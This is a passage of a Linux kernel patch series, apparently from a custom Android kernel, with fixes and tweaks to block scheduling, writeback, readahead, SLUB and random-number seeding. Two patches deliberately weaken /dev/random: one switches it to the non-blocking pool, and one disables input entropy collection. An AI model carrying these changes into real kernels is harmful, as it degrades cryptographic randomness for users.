Signed-off-by: Jens Axboe Signed-off-by: Pranav Vashi --- block/cfq-iosched.c | 15 ++++++++++++++- block/elevator.c | 2 ++ include/linux/elevator.h | 2 ++ 3 files changed, 18 insertions(+), 1 deletion(-) diff --git a/block/cfq-iosched.c b/block/cfq-iosched.c index 30264ebee9f18..2be94231f603b 100644 --- a/block/cfq-iosched.c +++ b/block/cfq-iosched.c @@ -4448,7 +4448,7 @@ static int cfq_init_queue(struct request_queue *q, struct elevator_type *e) cfqd->cfq_slice[1] = cfq_slice_sync; cfqd->cfq_target_latency = cfq_target_latency; cfqd->cfq_slice_async_rq = cfq_slice_async_rq; - cfqd->cfq_slice_idle = blk_queue_nonrot(q) ? 0 : cfq_slice_idle; + cfqd->cfq_slice_idle = cfq_slice_idle; cfqd->cfq_group_idle = cfq_group_idle; cfqd->cfq_latency = 1; cfqd->hw_tag = -1; @@ -4465,6 +4465,18 @@ static int cfq_init_queue(struct request_queue *q, struct elevator_type *e) return ret; } +static void cfq_registered_queue(struct request_queue *q) +{ + struct elevator_queue *e = q->elevator; + struct cfq_data *cfqd = e->elevator_data; + + /* + * Default to IOPS mode with no idling for SSDs + */ + if (blk_queue_nonrot(q)) + cfqd->cfq_slice_idle = 0; +} + /* * sysfs parts below --> */ @@ -4580,6 +4592,7 @@ static struct elevator_type iosched_cfq = { .elevator_may_queue_fn = cfq_may_queue, .elevator_init_fn = cfq_init_queue, .elevator_exit_fn = cfq_exit_queue, + .elevator_registered_fn = cfq_registered_queue, }, .icq_size = sizeof(struct cfq_io_cq), .icq_align = __alignof__(struct cfq_io_cq), diff --git a/block/elevator.c b/block/elevator.c index 91e38060c2897..a4d6e54fe43c2 100644 --- a/block/elevator.c +++ b/block/elevator.c @@ -866,6 +866,8 @@ int elv_register_queue(struct request_queue *q) } kobject_uevent(&e->kobj, KOBJ_ADD); e->registered = 1; + if (e->type->ops.elevator_registered_fn) + e->type->ops.elevator_registered_fn(q); } return error; } diff --git a/include/linux/elevator.h b/include/linux/elevator.h index b3afa35d545d1..c15f31d53cd3e 100644 --- a/include/linux/elevator.h +++ b/include/linux/elevator.h @@ -42,6 +42,7 @@ typedef void (elevator_deactivate_req_fn) (struct request_queue *, struct reques typedef int (elevator_init_fn) (struct request_queue *, struct elevator_type *e); typedef void (elevator_exit_fn) (struct elevator_queue *); +typedef void (elevator_registered_fn) (struct request_queue *); struct elevator_ops { @@ -74,6 +75,7 @@ struct elevator_ops elevator_init_fn *elevator_init_fn; elevator_exit_fn *elevator_exit_fn; + elevator_registered_fn *elevator_registered_fn; }; #define ELV_NAME_MAX (16) From 4627f0feb51e84ef2583526548feb4c85a0e2921 Mon Sep 17 00:00:00 2001 From: Jeff Liu Date: Sat, 5 Jan 2013 04:53:18 +0100 Subject: [PATCH 220/365] binfmt_elf.c: use get_random_int() to fix entropy depleting Changes: -------- v4->v3: - s/random_stack_user()/get_atrandom_bytes()/ - Move this function to ahead of its use to avoid the predeclaration. v3->v2: - Tweak code comments of random_stack_user(). - Remove redundant bits mask and shift upon the random variable. v2->v1: - Fix random copy to check up buffer length that are not 4-byte multiples. v3 can be found at: http://www.spinics.net/lists/linux-fsdevel/msg59597.html v2 can be found at: http://www.spinics.net/lists/linux-fsdevel/msg59418.html v1 can be found at: http://www.spinics.net/lists/linux-fsdevel/msg59128.html Thanks, -Jeff Entropy is quickly depleted under normal operations like ls(1), cat(1), etc... between 2.6.30 to current mainline, for instance: $ cat /proc/sys/kernel/random/entropy_avail 3428 $ cat /proc/sys/kernel/random/entropy_avail 2911 $cat /proc/sys/kernel/random/entropy_avail 2620 We observed this problem has been occurring since 2.6.30 with fs/binfmt_elf.c: create_elf_tables()->get_random_bytes(), introduced by f06295b44c296c8f ("ELF: implement AT_RANDOM for glibc PRNG seeding"). /* * Generate 16 random bytes for userspace PRNG seeding. */ get_random_bytes(k_rand_bytes, sizeof(k_rand_bytes)); The patch introduces a wrapper around get_random_int() which has lower overhead than calling get_random_bytes() directly. With this patch applied: $ cat /proc/sys/kernel/random/entropy_avail 2731 $ cat /proc/sys/kernel/random/entropy_avail 2802 $ cat /proc/sys/kernel/random/entropy_avail 2878 Analyzed by John Sobecki. Signed-off-by: Jie Liu Cc: Andrew Morton Cc: Al Viro Cc: Andreas Dilger Cc: Alan Cox Cc: Arnd Bergmann Cc: John Sobecki Cc: James Morris Cc: Jakub Jelinek Cc: Ted Ts'o Cc: Greg Kroah-Hartman Cc: Kees Cook Cc: Ulrich Drepper Signed-off-by: flar2 --- fs/binfmt_elf.c | 21 ++++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c index 18acaa794143d..21bf0d373facd 100644 --- a/fs/binfmt_elf.c +++ b/fs/binfmt_elf.c @@ -140,6 +140,25 @@ static int padzero(unsigned long elf_bss) #define ELF_BASE_PLATFORM NULL #endif +/* + * Use get_random_int() to implement AT_RANDOM while avoiding depletion + * of the entropy pool. + */ +static void get_atrandom_bytes(unsigned char *buf, size_t nbytes) +{ + unsigned char *p = buf; + + while (nbytes) { + unsigned int random_variable; + size_t chunk = min(nbytes, sizeof(random_variable)); + + random_variable = get_random_int(); + memcpy(p, &random_variable, chunk); + p += chunk; + nbytes -= chunk; + } +} + static int create_elf_tables(struct linux_binprm *bprm, struct elfhdr *exec, unsigned long load_addr, unsigned long interp_load_addr) @@ -201,7 +220,7 @@ create_elf_tables(struct linux_binprm *bprm, struct elfhdr *exec, /* * Generate 16 random bytes for userspace PRNG seeding. */ - get_random_bytes(k_rand_bytes, sizeof(k_rand_bytes)); + get_atrandom_bytes(k_rand_bytes, sizeof(k_rand_bytes)); u_rand_bytes = (elf_addr_t __user *) STACK_ALLOC(p, sizeof(k_rand_bytes)); if (__copy_to_user(u_rand_bytes, k_rand_bytes, sizeof(k_rand_bytes))) From 4d5545da3f57c7fe54358f071809997fad88a70a Mon Sep 17 00:00:00 2001 From: Mel Gorman Date: Wed, 11 May 2011 16:29:33 +0100 Subject: [PATCH 221/365] mm: slub: Default slub_max_order to 0 To avoid locking and per-cpu overhead, SLUB optimisically uses high-order allocations up to order-3 by default and falls back to lower allocations if they fail. While care is taken that the caller and kswapd take no unusual steps in response to this, there are further consequences like shrinkers who have to free more objects to release any memory. There is anecdotal evidence that significant time is being spent looping in shrinkers with insufficient progress being made (https://lkml.org/lkml/2011/4/28/361) and keeping kswapd awake. SLUB is now the default allocator and some bug reports have been pinned down to SLUB using high orders during operations like copying large amounts of data. SLUBs use of high-orders benefits applications that are sized to memory appropriately but this does not necessarily apply to large file servers or desktops. This patch causes SLUB to use order-0 pages like SLAB does by default. There is further evidence that this keeps kswapd's usage lower (https://lkml.org/lkml/2011/5/10/383). Signed-off-by: Mel Gorman Signed-off-by: flar2 --- mm/slub.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mm/slub.c b/mm/slub.c index 28a8aa19d049e..0efdc5e378539 100644 --- a/mm/slub.c +++ b/mm/slub.c @@ -2666,7 +2666,7 @@ EXPORT_SYMBOL(kmem_cache_free); * take the list_lock. */ static int slub_min_order; -static int slub_max_order = PAGE_ALLOC_COSTLY_ORDER; +static int slub_max_order; static int slub_min_objects; /* From cb7756903b1cca73064fa8688d35e668baabeb23 Mon Sep 17 00:00:00 2001 From: Junxiao Bi Date: Wed, 11 Sep 2013 14:23:04 -0700 Subject: [PATCH 222/365] writeback: fix race that cause writeback hung There is a race between mark inode dirty and writeback thread, see the following scenario. In this case, writeback thread will not run though there is dirty_io. __mark_inode_dirty() bdi_writeback_workfn() ... ... spin_lock(&inode->i_lock); ... if (bdi_cap_writeback_dirty(bdi)) { <<< assume wb has dirty_io, so wakeup_bdi is false. <<< the following inode_dirty also have wakeup_bdi false. if (!wb_has_dirty_io(&bdi->wb)) wakeup_bdi = true; } spin_unlock(&inode->i_lock); <<< assume last dirty_io is removed here. pages_written = wb_do_writeback(wb); ... <<< work_list empty and wb has no dirty_io, <<< delayed_work will not be queued. if (!list_empty(&bdi->work_list) || (wb_has_dirty_io(wb) && dirty_writeback_interval)) queue_delayed_work(bdi_wq, &wb->dwork, msecs_to_jiffies(dirty_writeback_interval * 10)); spin_lock(&bdi->wb.list_lock); inode->dirtied_when = jiffies; <<< new dirty_io is added. list_move(&inode->i_wb_list, &bdi->wb.b_dirty); spin_unlock(&bdi->wb.list_lock); <<< though there is dirty_io, but wakeup_bdi is false, <<< so writeback thread will not be waked up and <<< the new dirty_io will not be flushed. if (wakeup_bdi) bdi_wakeup_thread_delayed(bdi); Writeback will run until there is a new flush work queued. This may cause a lot of dirty pages stay in memory for a long time. Signed-off-by: Junxiao Bi Reviewed-by: Jan Kara Cc: Fengguang Wu Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Francisco Franco Signed-off-by: engstk --- fs/fs-writeback.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fs/fs-writeback.c b/fs/fs-writeback.c index 62d426d1d5e34..5dfbf35d2b28a 100644 --- a/fs/fs-writeback.c +++ b/fs/fs-writeback.c @@ -1206,6 +1206,8 @@ void __mark_inode_dirty(struct inode *inode, int flags) bool wakeup_bdi = false; bdi = inode_to_bdi(inode); + spin_unlock(&inode->i_lock); + spin_lock(&bdi->wb.list_lock); if (bdi_cap_writeback_dirty(bdi)) { WARN(!test_bit(BDI_registered, &bdi->state), "bdi-%s not registered\n", bdi->name); @@ -1220,8 +1222,6 @@ void __mark_inode_dirty(struct inode *inode, int flags) wakeup_bdi = true; } - spin_unlock(&inode->i_lock); - spin_lock(&bdi->wb.list_lock); inode->dirtied_when = jiffies; list_move(&inode->i_wb_list, &bdi->wb.b_dirty); spin_unlock(&bdi->wb.list_lock); From 2a3f0d1e107befed4e2740edd971114a26ab452a Mon Sep 17 00:00:00 2001 From: Fengguang Wu Date: Wed, 11 Sep 2013 14:21:47 -0700 Subject: [PATCH 223/365] readahead: make context readahead more conservative This helps performance on moderately dense random reads on SSD. Transaction-Per-Second numbers provided by Taobao: QPS case ------------------------------------------------------- 7536 disable context readahead totally w/ patch: 7129 slower size rampup and start RA on the 3rd read 6717 slower size rampup w/o patch: 5581 unmodified context readahead Before, readahead will be started whenever reading page N+1 when it happen to read N recently. After patch, we'll only start readahead when *three* random reads happen to access pages N, N+1, N+2. The probability of this happening is extremely low for pure random reads, unless they are very dense, which actually deserves some readahead. Also start with a smaller readahead window. The impact to interleaved sequential reads should be small, because for a long run stream, the the small readahead window rampup phase is negletable. The context readahead actually benefits clustered random reads on HDD whose seek cost is pretty high. However as SSD is increasingly used for random read workloads it's better for the context readahead to concentrate on interleaved sequential reads. Another SSD rand read test from Miao # file size: 2GB # read IO amount: 625MB sysbench --test=fileio \ --max-requests=10000 \ --num-threads=1 \ --file-num=1 \ --file-block-size=64K \ --file-test-mode=rndrd \ --file-fsync-freq=0 \ --file-fsync-end=off run shows the performance of btrfs grows up from 69MB/s to 121MB/s, ext4 from 104MB/s to 121MB/s. Signed-off-by: Wu Fengguang Tested-by: Tao Ma Tested-by: Miao Xie Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Pranav Vashi Signed-off-by: franciscofranco Signed-off-by: engstk --- mm/readahead.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/mm/readahead.c b/mm/readahead.c index 12d8707c36e09..73fcc86712614 100644 --- a/mm/readahead.c +++ b/mm/readahead.c @@ -376,10 +376,10 @@ static int try_context_readahead(struct address_space *mapping, size = count_history_pages(mapping, ra, offset, max); /* - * no history pages: + * not enough history pages: * it could be a random read */ - if (!size) + if (size <= req_size) return 0; /* @@ -390,8 +390,8 @@ static int try_context_readahead(struct address_space *mapping, size *= 2; ra->start = offset; - ra->size = get_init_ra_size(size + req_size, max); - ra->async_size = ra->size; + ra->size = min(size + req_size, max); + ra->async_size = 1; return 1; } From 1ef66f486ac9a985ae360e74aa4a77f05d190eb1 Mon Sep 17 00:00:00 2001 From: Jan Kara Date: Fri, 28 Jun 2013 21:32:27 +0200 Subject: [PATCH 224/365] block: Reserve only one queue tag for sync IO if only 3 tags are available In case a device has three tags available we still reserve two of them for sync IO. That leaves only a single tag for async IO such as writeback from flusher thread which results in poor performance. Allow async IO to consume two tags in case queue has three tag availabe to get a decent async write performance. This patch improves streaming write performance on a machine with such disk from ~21 MB/s to ~52 MB/s. Also postmark throughput in presence of streaming writer improves from 8 to 12 transactions per second so sync IO doesn't seem to be harmed in presence of heavy async writer. Signed-off-by: Jan Kara Signed-off-by: Jens Axboe Signed-off-by: Pranav Vashi Signed-off-by: franciscofranco Signed-off-by: engstk --- block/blk-tag.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/block/blk-tag.c b/block/blk-tag.c index 0c51b4b34f478..a185b86741e5f 100644 --- a/block/blk-tag.c +++ b/block/blk-tag.c @@ -329,9 +329,16 @@ int blk_queue_start_tag(struct request_queue *q, struct request *rq) */ max_depth = bqt->max_depth; if (!rq_is_sync(rq) && max_depth > 1) { - max_depth -= 2; - if (!max_depth) + switch (max_depth) { + case 2: max_depth = 1; + break; + case 3: + max_depth = 2; + break; + default: + max_depth -= 2; + } if (q->in_flight[BLK_RW_ASYNC] > max_depth) return 1; } From 49040db563a0ada78dffd80d8a16f066a35a4bfe Mon Sep 17 00:00:00 2001 From: Namjae Jeon Date: Wed, 2 Jan 2013 20:00:40 -0600 Subject: [PATCH 225/365] writeback: fix writeback cache thrashing From: Namjae Jeon Consider Process A: huge I/O on sda doing heavy write operation - dirty memory becomes more than dirty_background_ratio on HDD - flusher thread flush-8:0 Consider Process B: small I/O on sdb doing while [1]; read 1024K + rewrite 1024K + sleep 2sec on Flash device - flusher thread flush-8:16 As Process A is a heavy dirtier, dirty memory becomes more than dirty_background_thresh. Due to this, below check becomes true(checking global_page_state in over_bground_thresh) for all bdi devices(even for very small dirtied bdi - sdb): In this case, even small cached data on 'sdb' is forced to flush and writeback cache thrashing happens. When we added debug prints inside above 'if' condition and ran above Process A(heavy dirtier on bdi with flush-8:0) and Process B(1024K frequent read/rewrite on bdi with flush-8:16) we got below prints: [Test setup: ARM dual core CPU, 512 MB RAM] [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 56064 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 56704 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 84720 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 94720 KB [over_bground_thresh]: wakeup flush-8:16 : BDI_RECLAIMABLE = 384 KB [over_bground_thresh]: wakeup flush-8:16 : BDI_RECLAIMABLE = 960 KB [over_bground_thresh]: wakeup flush-8:16 : BDI_RECLAIMABLE = 64 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 92160 KB [over_bground_thresh]: wakeup flush-8:16 : BDI_RECLAIMABLE = 256 KB [over_bground_thresh]: wakeup flush-8:16 : BDI_RECLAIMABLE = 768 KB [over_bground_thresh]: wakeup flush-8:16 : BDI_RECLAIMABLE = 64 KB [over_bground_thresh]: wakeup flush-8:16 : BDI_RECLAIMABLE = 256 KB [over_bground_thresh]: wakeup flush-8:16 : BDI_RECLAIMABLE = 320 KB [over_bground_thresh]: wakeup flush-8:16 : BDI_RECLAIMABLE = 0 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 92032 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 91968 KB [over_bground_thresh]: wakeup flush-8:16 : BDI_RECLAIMABLE = 192 KB [over_bground_thresh]: wakeup flush-8:16 : BDI_RECLAIMABLE = 1024 KB [over_bground_thresh]: wakeup flush-8:16 : BDI_RECLAIMABLE = 64 KB [over_bground_thresh]: wakeup flush-8:16 : BDI_RECLAIMABLE = 192 KB [over_bground_thresh]: wakeup flush-8:16 : BDI_RECLAIMABLE = 576 KB [over_bground_thresh]: wakeup flush-8:16 : BDI_RECLAIMABLE = 0 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 84352 KB [over_bground_thresh]: wakeup flush-8:16 : BDI_RECLAIMABLE = 192 KB [over_bground_thresh]: wakeup flush-8:16 : BDI_RECLAIMABLE = 512 KB [over_bground_thresh]: wakeup flush-8:16 : BDI_RECLAIMABLE = 0 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 92608 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 92544 KB As mentioned in above log, when global dirty memory > global background_thresh small cached data is also forced to flush by flush-8:16. If removing global background_thresh checking code, we can reduce cache thrashing of frequently used small data. And It will be great if we can reserve a portion of writeback cache using min_ratio. After applying patch: $ echo 5 > /sys/block/sdb/bdi/min_ratio $ cat /sys/block/sdb/bdi/min_ratio 5 [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 56064 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 56704 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 84160 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 96960 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 94080 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 93120 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 93120 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 91520 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 89600 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 93696 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 93696 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 72960 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 90624 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 90624 KB [over_bground_thresh]: wakeup flush-8:0 : BDI_RECLAIMABLE = 90688 KB As mentioned in the above logs, once cache is reserved for Process B, and patch is applied there is less writeback cache thrashing on sdb by frequent forced writeback by flush-8:16 in over_bground_thresh. After all, small cached data will be flushed by periodic writeback once every dirty_writeback_interval. Suggested-by: Wanpeng Li Signed-off-by: Namjae Jeon Signed-off-by: Vivek Trivedi Signed-off-by: Francisco Franco Signed-off-by: engstk --- fs/fs-writeback.c | 4 ---- 1 file changed, 4 deletions(-) diff --git a/fs/fs-writeback.c b/fs/fs-writeback.c index 5dfbf35d2b28a..cf94e0b004b33 100644 --- a/fs/fs-writeback.c +++ b/fs/fs-writeback.c @@ -776,10 +776,6 @@ static bool over_bground_thresh(struct backing_dev_info *bdi) global_dirty_limits(&background_thresh, &dirty_thresh); - if (global_page_state(NR_FILE_DIRTY) + - global_page_state(NR_UNSTABLE_NFS) > background_thresh) - return true; - if (bdi_stat(bdi, BDI_RECLAIMABLE) > bdi_dirty_limit(bdi, background_thresh)) return true; From d5db8cb55394540325b9b36552e408a5b2327f4a Mon Sep 17 00:00:00 2001 From: Francisco Franco Date: Sat, 15 Jun 2013 20:57:59 +0100 Subject: [PATCH 226/365] writeback: increase bdi_min_ratio to 5 in light of the latest writeback commit. Signed-off-by: Francisco Franco Signed-off-by: engstk --- mm/page-writeback.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mm/page-writeback.c b/mm/page-writeback.c index 15d7898387387..e8bc902eb5fd0 100644 --- a/mm/page-writeback.c +++ b/mm/page-writeback.c @@ -485,7 +485,7 @@ static void writeout_period(unsigned long t) * registered backing devices, which, for obvious reasons, can not * exceed 100%. */ -static unsigned int bdi_min_ratio; +static unsigned int bdi_min_ratio = 5; int bdi_set_min_ratio(struct backing_dev_info *bdi, unsigned int min_ratio) { From 906eda7e7df75fdf235669644d7f17a209f9710c Mon Sep 17 00:00:00 2001 From: Jan Kara Date: Fri, 12 Jul 2013 17:30:07 +0200 Subject: [PATCH 227/365] writeback: Fix occasional slow sync(1) In case when system contains no dirty pages, wakeup_flusher_threads() will submit WB_SYNC_NONE writeback for 0 pages so wb_writeback() exits immediately without doing anything. Thus sync(1) will write all the dirty inodes from a WB_SYNC_ALL writeback pass which is slow. Fix the problem by using get_nr_dirty_pages() in wakeup_flusher_threads() instead of calculating number of dirty pages manually. That function also takes number of dirty inodes into account. CC: stable@vger.kernel.org Reported-by: Paul Taysom Signed-off-by: Jan Kara Signed-off-by: Cristoforo Cataldo Signed-off-by: flar2 Signed-off-by: engstk --- fs/fs-writeback.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/fs/fs-writeback.c b/fs/fs-writeback.c index cf94e0b004b33..5c023a649a363 100644 --- a/fs/fs-writeback.c +++ b/fs/fs-writeback.c @@ -1079,10 +1079,8 @@ void wakeup_flusher_threads(long nr_pages, enum wb_reason reason) { struct backing_dev_info *bdi; - if (!nr_pages) { - nr_pages = global_page_state(NR_FILE_DIRTY) + - global_page_state(NR_UNSTABLE_NFS); - } + if (!nr_pages) + nr_pages = get_nr_dirty_pages(); rcu_read_lock(); list_for_each_entry_rcu(bdi, &bdi_list, bdi_list) { From 52a2c9117fbb004d6b3a820fc8edad0b094a763e Mon Sep 17 00:00:00 2001 From: imoseyon Date: Thu, 3 Jan 2013 15:18:26 -0800 Subject: [PATCH 228/365] random: entropy tweaks are all the rage nowadays use non-blocking pool for all http://lwn.net/Articles/489734/ Conflicts: drivers/char/random.c Conflicts: drivers/char/random.c --- drivers/char/random.c | 53 +------------------------------------------ 1 file changed, 1 insertion(+), 52 deletions(-) diff --git a/drivers/char/random.c b/drivers/char/random.c index b72bcd2af4439..822ccd972a830 100644 --- a/drivers/char/random.c +++ b/drivers/char/random.c @@ -1165,58 +1165,7 @@ void rand_initialize_disk(struct gendisk *disk) static ssize_t random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos) { - ssize_t n, retval = 0, count = 0; - - if (nbytes == 0) - return 0; - - while (nbytes > 0) { - n = nbytes; - if (n > SEC_XFER_SIZE) - n = SEC_XFER_SIZE; - - DEBUG_ENT("reading %zu bits\n", n*8); - - n = extract_entropy_user(&blocking_pool, buf, n); - - if (n < 0) { - retval = n; - break; - } - - DEBUG_ENT("read got %zd bits (%zd still needed)\n", - n*8, (nbytes-n)*8); - - if (n == 0) { - if (file->f_flags & O_NONBLOCK) { - retval = -EAGAIN; - break; - } - - DEBUG_ENT("sleeping?\n"); - - wait_event_interruptible(random_read_wait, - input_pool.entropy_count >= - random_read_wakeup_thresh); - - DEBUG_ENT("awake\n"); - - if (signal_pending(current)) { - retval = -ERESTARTSYS; - break; - } - - continue; - } - - count += n; - buf += n; - nbytes -= n; - break; /* This break makes the device work */ - /* like a named pipe */ - } - - return (count ? count : retval); + return extract_entropy_user(&nonblocking_pool, buf, nbytes); } static ssize_t From 9663ab3da11804fb53bcef44cb39dde13e3c857c Mon Sep 17 00:00:00 2001 From: imoseyon Date: Fri, 4 Jan 2013 13:05:20 -0800 Subject: [PATCH 229/365] random: prevent add_input from doing anything --- drivers/char/random.c | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) diff --git a/drivers/char/random.c b/drivers/char/random.c index 822ccd972a830..92052009d513b 100644 --- a/drivers/char/random.c +++ b/drivers/char/random.c @@ -734,16 +734,7 @@ static void add_timer_randomness(struct timer_rand_state *state, unsigned num) void add_input_randomness(unsigned int type, unsigned int code, unsigned int value) { - static unsigned char last_value; - - /* ignore autorepeat and the like */ - if (value == last_value) - return; - - DEBUG_ENT("input event\n"); - last_value = value; - add_timer_randomness(&input_timer_state, - (type << 4) ^ code ^ (code >> 4) ^ value); + return; } EXPORT_SYMBOL_GPL(add_input_randomness); From d7ff5ecdb7b5ac1fc8b034c47500119bba3fc53f Mon Sep 17 00:00:00 2001 From: imoseyon Date: Sun, 17 Mar 2013 17:53:33 -0700 Subject: [PATCH 230/365] random: remove warning --- drivers/char/random.c | 2 -- 1 file changed, 2 deletions(-) diff --git a/drivers/char/random.c b/drivers/char/random.c index 92052009d513b..4c11e63063453 100644 --- a/drivers/char/random.c +++ b/drivers/char/random.c @@ -660,8 +660,6 @@ void add_device_randomness(const void *buf, unsigned int size) } EXPORT_SYMBOL(add_device_randomness); -static struct timer_rand_state input_timer_state; - /* * This function adds entropy to the entropy "pool" by using timing * delays. It uses the timer_rand_state structure to make an estimate From afe59b96c4e50ab0569616d0a26935b657942646 Mon Sep 17 00:00:00 2001 From: despairfactor Date: Thu, 19 Nov 2015 05:27:25 -0500 Subject: [PATCH 231/365] char: compile frandom --- drivers/char/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/char/Makefile b/drivers/char/Makefile index befc95e19ab4d..c18564513aeb6 100644 --- a/drivers/char/Makefile +++ b/drivers/char/Makefile @@ -2,7 +2,7 @@ # Makefile for the kernel character device drivers. # -obj-y += mem.o random.o +obj-y += mem.o random.o frandom.o obj-$(CONFIG_TTY_PRINTK) += ttyprintk.o obj-y += misc.o obj-$(CONFIG_ATARI_DSP56K) += dsp56k.o From ec0bdee1c1656afe39a5007395ad181c12151145 Mon Sep 17 00:00:00 2001 From: Hannes Frederic Sowa Date: Mon, 11 Nov 2013 12:20:33 +0100 Subject: [PATCH 232/365] random32: add periodic reseeding The current Tausworthe PRNG is never reseeded with truly random data after the first attempt in late_initcall. As this PRNG is used for some critical random data as e.g. UDP port randomization we should try better and reseed the PRNG once in a while with truly random data from get_random_bytes(). When we reseed with prandom_seed we now make also sure to throw the first output away. This suffices the reseeding procedure. The delay calculation is based on a proposal from Eric Dumazet. Joint work with Daniel Borkmann. Cc: Eric Dumazet Cc: Theodore Ts'o Signed-off-by: Hannes Frederic Sowa Signed-off-by: Daniel Borkmann Signed-off-by: David S. Miller --- lib/random32.c | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/lib/random32.c b/lib/random32.c index 01e8890d10894..12215df701e87 100644 --- a/lib/random32.c +++ b/lib/random32.c @@ -142,6 +142,7 @@ void prandom_seed(u32 entropy) for_each_possible_cpu (i) { struct rnd_state *state = &per_cpu(net_rand_state, i); state->s1 = __seed(state->s1 ^ entropy, 2); + prandom_u32_state(state); } } EXPORT_SYMBOL(prandom_seed); @@ -174,6 +175,27 @@ static int __init prandom_init(void) } core_initcall(prandom_init); +static void __prandom_timer(unsigned long dontcare); +static DEFINE_TIMER(seed_timer, __prandom_timer, 0, 0); + +static void __prandom_timer(unsigned long dontcare) +{ + u32 entropy; + + get_random_bytes(&entropy, sizeof(entropy)); + prandom_seed(entropy); + /* reseed every ~60 seconds, in [40 .. 80) interval with slack */ + seed_timer.expires = jiffies + (40 * HZ + (prandom_u32() % (40 * HZ))); + add_timer(&seed_timer); +} + +static void prandom_start_seed_timer(void) +{ + set_timer_slack(&seed_timer, HZ); + seed_timer.expires = jiffies + 40 * HZ; + add_timer(&seed_timer); +} + /* * Generate better values after random number generator * is fully initialized. @@ -194,6 +216,7 @@ static int __init prandom_reseed(void) /* mix it in */ prandom_u32_state(state); } + prandom_start_seed_timer(); return 0; } late_initcall(prandom_reseed); From 821df7a4f9a6b743866245e33d5b420d3e848596 Mon Sep 17 00:00:00 2001 From: Hannes Frederic Sowa Date: Mon, 11 Nov 2013 12:20:34 +0100 Subject: [PATCH 233/365] random32: add prandom_reseed_late() and call when nonblocking pool becomes initialized The Tausworthe PRNG is initialized at late_initcall time. At that time the entropy pool serving get_random_bytes is not filled sufficiently. This patch adds an additional reseeding step as soon as the nonblocking pool gets marked as initialized. On some machines it might be possible that late_initcall gets called after the pool has been initialized. In this situation we won't reseed again. (A call to prandom_seed_late blocks later invocations of early reseed attempts.) Joint work with Daniel Borkmann. Cc: Eric Dumazet Cc: Theodore Ts'o Signed-off-by: Hannes Frederic Sowa Signed-off-by: Daniel Borkmann Acked-by: "Theodore Ts'o" Signed-off-by: David S. Miller --- drivers/char/random.c | 5 ++++- include/linux/random.h | 1 + lib/random32.c | 23 ++++++++++++++++++++++- 3 files changed, 27 insertions(+), 2 deletions(-) diff --git a/drivers/char/random.c b/drivers/char/random.c index 4c11e63063453..ec1504a054798 100644 --- a/drivers/char/random.c +++ b/drivers/char/random.c @@ -614,8 +614,11 @@ static void credit_entropy_bits(struct entropy_store *r, int nbits) if (!r->initialized && nbits > 0) { r->entropy_total += nbits; - if (r->entropy_total > 128) + if (r->entropy_total > 128) { r->initialized = 1; + if (r == &nonblocking_pool) + prandom_reseed_late(); + } } trace_credit_entropy_bits(r->name, nbits, entropy_count, diff --git a/include/linux/random.h b/include/linux/random.h index 1b91d7d186e71..efec8336549ea 100644 --- a/include/linux/random.h +++ b/include/linux/random.h @@ -30,6 +30,7 @@ unsigned long randomize_range(unsigned long start, unsigned long end, unsigned l u32 prandom_u32(void); void prandom_bytes(void *buf, int nbytes); void prandom_seed(u32 seed); +void prandom_reseed_late(void); u32 prandom_u32_state(struct rnd_state *); void prandom_bytes_state(struct rnd_state *state, void *buf, int nbytes); diff --git a/lib/random32.c b/lib/random32.c index 12215df701e87..9f2f2fb03dfe8 100644 --- a/lib/random32.c +++ b/lib/random32.c @@ -200,9 +200,18 @@ static void prandom_start_seed_timer(void) * Generate better values after random number generator * is fully initialized. */ -static int __init prandom_reseed(void) +static void __prandom_reseed(bool late) { int i; + unsigned long flags; + static bool latch = false; + static DEFINE_SPINLOCK(lock); + + /* only allow initial seeding (late == false) once */ + spin_lock_irqsave(&lock, flags); + if (latch && !late) + goto out; + latch = true; for_each_possible_cpu(i) { struct rnd_state *state = &per_cpu(net_rand_state,i); @@ 